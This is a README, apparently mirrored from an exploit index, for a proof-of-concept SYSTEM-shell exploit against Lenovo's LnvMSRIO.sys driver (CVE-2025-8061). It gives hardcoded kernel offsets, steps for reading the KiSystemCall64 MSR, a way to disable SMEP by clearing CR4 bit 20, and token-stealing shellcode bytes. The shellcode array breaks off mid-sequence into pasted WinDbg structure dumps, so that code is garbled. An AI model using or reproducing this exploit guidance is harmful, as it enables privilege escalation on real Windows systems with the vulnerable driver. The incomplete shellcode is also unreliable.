## https://sploitus.com/exploit?id=D96ECB8D-F010-5062-ADA4-3E1511C464A7

# Lenovo-CVE-2025-8061
PoC for popping a system shell against the LnvMSRIO.sys (3.1.0.36) driver
All credits go to the original author [Luis Casvella from Quarkslab](https://blog.quarkslab.com/exploiting-lenovo-driver-cve-2025-8061.html)
## Useful notes for exploitation
> [!CAUTION]
> The offsets for this exploit are hardcoded for Windows version: Edition build lab: 26100.1.amd64fre.ge_release.240331-1435
> As such you *need* to modify/debug your system since they will be different than the ones I've used for this.
The `KiSystemCall64` offset was obviously different to the author's one:
`#define FUNCTION_OFFSET__KISYSTEMCALL64 0x6b2b40 // nt!KiSystemCall64 offset`
```
0: kd> rdmsr c0000082
msr[c0000082] = fffff801`e76b2b40
0: kd> ? fffff801`e76b2b40 - nt
Evaluate expression: 7023424 = 00000000`006b2b40
```
## Disabling SMEP
The current value of the `cr4` register for my system was `0x00350EF8`
As such in order to disable SMEP you need the bit 20 *cleared*:
```
0x350ef8 = 0011 0101 0000 1110 1111 1000
Bit 20 (SMEP) = 1 (enabled)
```
So to find out the correct value:
`0x350ef8 & ~0x100000 = 0x250ef8`
Verify Your System's CR4
First check what CR4 value your system should have:
```r cr4
? cr4 & 0x100000 ; Check if bit 20 is set
```
Very important in the return to user mode shellcoding section make sure you restore it to its *original* value!
## Token stealing shellcode.
Since again am using a different version I had to slightly modify that shellcode:
```
unsigned char tokenSteal[] = {
0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rax, gs:[0x188]
0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00, // mov rax, [rax+0x220] dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB
0: kd> dt nt!_EPROCESS ActiveProcessLinks
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
0: kd> dt nt!_EPROCESS UniqueProcessId
+0x1d0 UniqueProcessId : Ptr64 Void
0: kd> dt nt!_EPROCESS Token
+0x248 Token : _EX_FAST_REF
0: kd> dt nt!_KTHREAD Process
+0x220 Process : Ptr64 _KPROCESS
0: kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB
0: kd> dt nt!_KPRCB CurrentThread
+0x008 CurrentThread : Ptr64 _KTHREAD
```
## swapgs syscall
Right before executing the `swapgs` it's very important that `rcx` points back to the main so execution can continue.
Failing to do that it will make your VM freeze!

## rdmsr c0000082 address
Make *sure* you also restore this value to its original one. Failing to do that will also freeze the VM once again :)